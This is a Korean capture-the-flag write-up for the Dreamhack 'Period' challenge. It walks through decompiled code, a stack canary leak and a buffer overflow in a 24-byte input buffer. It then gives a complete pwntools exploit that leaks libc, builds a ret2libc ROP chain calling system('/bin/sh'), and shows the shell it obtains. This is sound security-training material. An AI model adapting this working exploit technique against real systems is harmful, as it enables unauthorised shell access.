dreamhack - Period writeup
[dreamhack] Period writeup
1. 문제

Period
Period, about Time or just Punctuation?
https://dreamhack.io/wargame/challenges/13752. 풀이
ssize_t __fastcall writeln(__int64 a1)
{
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
write(1, (const void *)(i + a1), 1uLL);
if ( *(_BYTE *)(i + a1) == 46 )
break;
}
return write(1, &unk_2008, 1uLL);
}
int readint()
{
char nptr[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
readln(nptr);
return atoi(nptr);
}
__int64 __fastcall readln(__int64 a1)
{
__int64 result; // rax
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 255; ++i )
{
read(0, (void *)(i + a1), 1uLL);
result = *(unsigned __int8 *)(i + a1);
if ( (_BYTE)result == 46 )
break;
}
return result;
}
void *__fastcall cleara(void *a1, int a2)
{
return memset(a1, 46, a2);
}
unsigned __int64 run()
{
int v1; // [rsp+Ch] [rbp-114h]
char v2[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v3; // [rsp+118h] [rbp-8h]
v3 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
writeln("Mirin, It's the End of Period with Period.");
v2[0] = 46;
while ( 1 )
{
while ( 1 )
{
writeln("1: read.");
writeln("2: write.");
writeln("3: clear.");
write(1, "> ", 2uLL);
v1 = readint();
if ( v1 != 3 )
break;
cleara(v2, 256LL);
}
if ( v1 > 3 )
break;
if ( v1 == 1 )
{
writeln("Read: .");
writeln(v2);
}
else
{
if ( v1 != 2 )
break;
writeln("Write: .");
readln(v2);
}
}
writeln("Invalid Command.");
writeln("Finally, Just Watch the Curtain Fall.");
return v3 - __readfsqword(0x28u);
}
IDA로 까본 코드이다.
-
writeln
: 주어진 포인터로부터 제한없이 출력을 해주되,"0x46 == '.'"
이 나오면 출력을 종료한다. -
readln
: 주어진 포인터에 최대 256바이트를 입력받되,"0x46 == '.'"
이 나오면 입력을 종료한다. -
readint
:readln
함수를 통해 입력받은 후 이걸atoi
함수를 통해 숫자로 변환한다.
v2
변수가 rbp-0x110
이고 canary
는 rbp-0x8
인데 최대 256바이트밖에 입력을 못받다보니, canary leak이 안될 것 같았는데 rbp-0x10
위치부터 8바이트가 꽉차있는지 딱 256바이트를 입력하면 leak이 가능했다.
그리고 canary
뒤로 쭉 출력이되는데 따라나오는 값들 중 __libc_start_main
주소도 함께 나온다. (이건 어디서 알려주는 것도 없고 그냥 알아서 유추해야한다…)
또한 readint
함수에서 nptr
변수가 24바이트밖에 안되는데 readln
을 통해 256바이트를 받을 수 있기 때문에 bof
가 가능하다.
p.sendafter(b"> ", b"2.")
p.sendafter(b"Write: .\n", b"a" * 255 + b"\n")
p.sendafter(b"> ", b"1.")
p.recvuntil(b"a" * 255 + b"\n")
for i in range(10):
tmp = p.recv(8)
print(hex(u64(tmp)))
if i == 1:
canary = u64(tmp)
elif i == 5:
__libc_start_main_ret = u64(tmp)
break
ubuntu@instance-20250406-1126:~/dreamhack/level2/Period/deploy$ python3 e_period.py
[+] Starting local process './prob': pid 2926340
0x7ffe956d8569
0x358412ccd276cd00
0x7ffe956d81f0
0x62b8d36734d9
0x1
0x768ef8629d90 # __libc_start_main_ret + alpha
이걸 기준으로 libcbase
를 계산하고 system
함수와 "/bin/sh"
문자열 주소를 계산 후 leak한 canary와 함께 readint
함수의 리턴주소를 덮어주면 끝이다.
from pwn import *
p = process("./prob")
#p = remote("host3.dreamhack.games", 23621)
p.sendafter(b"> ", b"2.")
p.sendafter(b"Write: .\n", b"a" * 255 + b"\n")
p.sendafter(b"> ", b"1.")
p.recvuntil(b"a" * 255 + b"\n")
for i in range(10):
tmp = p.recv(8)
print(hex(u64(tmp)))
if i == 1:
canary = u64(tmp)
elif i == 5:
__libc_start_main_ret = u64(tmp)
break
print(f"canary : {hex(canary)}")
libcbase = __libc_start_main_ret - 0x29d90
print(f"libcbase : {hex(libcbase)}")
system = libcbase + 0x50d60
binsh = libcbase + 0x1d8698
pop_rdi = libcbase + 0x000000000002a3e5
payload = b"a" * 24
payload += p64(canary)
payload += b"b" * 8
payload += p64(libcbase + 0x0000000000029cd6) #ret
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
payload += b"."
p.sendafter(b"> ", payload)
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/Period/deploy$ python3 e_period.py
[+] Starting local process './prob': pid 2926402
0x7ffd4ea78669
0x684e9e767a274500
0x7ffd4ea782f0
0x5846850be4d9
0x1
0x763c88029d90
canary : 0x684e9e767a274500
libcbase : 0x763c88000000
[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)
해결~